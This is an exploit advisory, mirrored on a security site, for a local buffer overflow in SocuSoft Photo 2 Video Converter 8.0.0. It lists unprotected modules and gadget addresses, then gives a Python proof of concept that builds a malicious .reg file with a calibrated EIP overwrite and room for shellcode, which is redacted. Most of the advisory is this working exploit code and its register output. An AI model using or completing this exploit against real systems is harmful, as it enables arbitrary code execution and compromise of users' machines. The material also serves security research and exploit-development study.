首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SocuSoft Co. Photo 2 Video Converter 8.0.0 Code Execution / DoS
来源:hackthegrid.com.au 作者:ret2eax 发布时间:2017-12-04  
=================================================================================
	      _     _____            _____          _____          
	     | |   |  _  |          |____ |        |____ |         
	     | |__ | |/' |_ __ ___      / / ___ _ __   / /_      __
	     | '_ \|  /| | '_ ` _ \     \ \/ __| '__|  \ \ \ /\ / /
             | | | \ |_/ / | | | | |.___/ / (__| | .___/ /\ V  V / 
             |_| |_|\___/|_| |_| |_|\____/ \___|_| \____/  \_/\_/  
                                                      
                > _[C O N T A C T] :
				     Twitter: @ret2eax
				     Email:   ret2eax@riseup.net
				     Blog:    ret2eax.pw
                                     Website: hackthegrid.com.au

      [+]-----------------------------------------------------------------[+]
       | Impacted Vendor:      SocuSoft Co.                                |
       | Vulnerable Software:  Photo 2 Video Converter Free & Pro Variants |
       | Software URL:         http://www.socusoft.com/                    |
       | Effected Release:     8.0.0                                       |
       | Vulnerability Type:   Code Execution, Denial of Service           |
       | Date Released:        01/12/2017                                  |
       | Released by:          ret2eax                                     |
      [+]-----------------------------------------------------------------[+]
	   
=================================================================================

[+]----------------------------[ S U M M A R Y ]------------------------------[+]

 Socusoft's Photo 2 Video Converter v8.0.0 (Free and Professional variants) 
 contains a local buffer overflow condition in the pdmlog.dll library. 
 Exploitation can result in x86 register rewrites to control program execution 
 flow, therefore, resulting in ability to execute arbitrary shellcode leading 
 to complete system compromise.
 
[+]-------------------------[ D E S C R I P T I O N ]------------------------[+]

 One of many modules, the following contains no illegal address characters 
 i.e. '\0x00'.
	
  +-----------------------------------------------------------------+
  | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Module           |
  |-----------------------------------------------------------------|
  | False  | False   | False |  False   | False  | DVDPhotoData.dll | 
  +-----------------------------------------------------------------+
	
  The following PUSH ESP instruction addresses are suitable to redirect 
  program execution:
	
  >_[DVDPhotoData.dll]:

	0x10002352 push esp; ret
	0x10013945 push esp; retn 0x0004
	0x1004cb83 push esp; retn 0x0008
	0x1004cbb8 push esp; retn 0x0008
	0x1004cc11 push esp; retn 0x0008
		
	 
[+]-----------------------[ P R E C O N D I T I O N S ]---------------------[+]
 
 1. Tested on Windows Server 2008 R2
 2. Import generated .reg prior to restarting the executable within a debugger
 3. Overflow condition observed to occur in pdmlog.dll
 
[+]------------------------[ E X P L O I T A T I O N ]----------------------[+]

 A Proof of Concept is as follows:
 
 >_[Python Script - SHELLCODE REDACTED]:
 
	#!/usr/bin/python
	
	# REGISTERS
	
	# EAX 42424242
	# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
	# EDX 00020000 pdmlog.00020000
	# EBX 00020000 pdmlog.00020000
	# ESP 035BFB90
	# EBP 035BFBAC
	# ESI 00000002
	# EDI 00000000
	# EIP 42424242

	# EAX 10013945 DVDPhoto.10013945
	# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
	# EDX 00020000 pdmlog.00020000
	# EBX 00020000 pdmlog.00020000
	# ESP 03A0FB90
	# EBP 03A0FBAC
	# ESI 00000002
	# EDI 00000000
	# EIP 10013945 DVDPhoto.10013945 <- EIP Overwrite '\x45\x39\x01\x10' 

	# outfile
	file = "proof-of-concept.reg"
 
	# register re-write
	padding = "\x41" * 548
	eipOffset = "\x45\x39\x01\x10" 	# PUSH ESP (0x10013945)
	stackRewrite = "\x43" * 400 	# Shellcode Space
 
	# generate exploit file containing above payload instructing EIP overwrite

	poc = "Windows Registry Editor Version 5.00\n\n"
	poc = poc + "[HKEY_CURRENT_USER\Software\Socusoft Photo to Video Converter Free Version\General]\n"
	poc = poc + "\"TempFolder\"=\"" + padding + eipOffset + stackRewrite + "\""
 
	try:
		print "[*] Generating exploit contents...\n";
		print "[*] Creating payload file...\n";
		writeFile = open (file, "w")
		writeFile.write( poc )
		writeFile.close()
		print "[*] Success!";
	except:
		print "[!] ERROR!";

	#EOF

=================================================================================

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·aws-cfn-bootstrap Local Code E
·WinduCMS 3.1 Local File Disclo
·HP iMC Plat 7.2 - Remote Code
·MistServer 2.12 - Cross-Site S
·HP iMC Plat 7.2 - Remote Code
·Artica Web Proxy 3.06 - Remote
·Linux Kernel - 'The Huge Dirty
·Abyss Web Server < 2.11.6 - He
·Mac OS X Root Privilege Escala
·VX Search 10.2.14 - 'command_n
·Asterisk 13.17.2~dfsg-2 Memory
·WinduCMS 3.1 - Local File Disc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved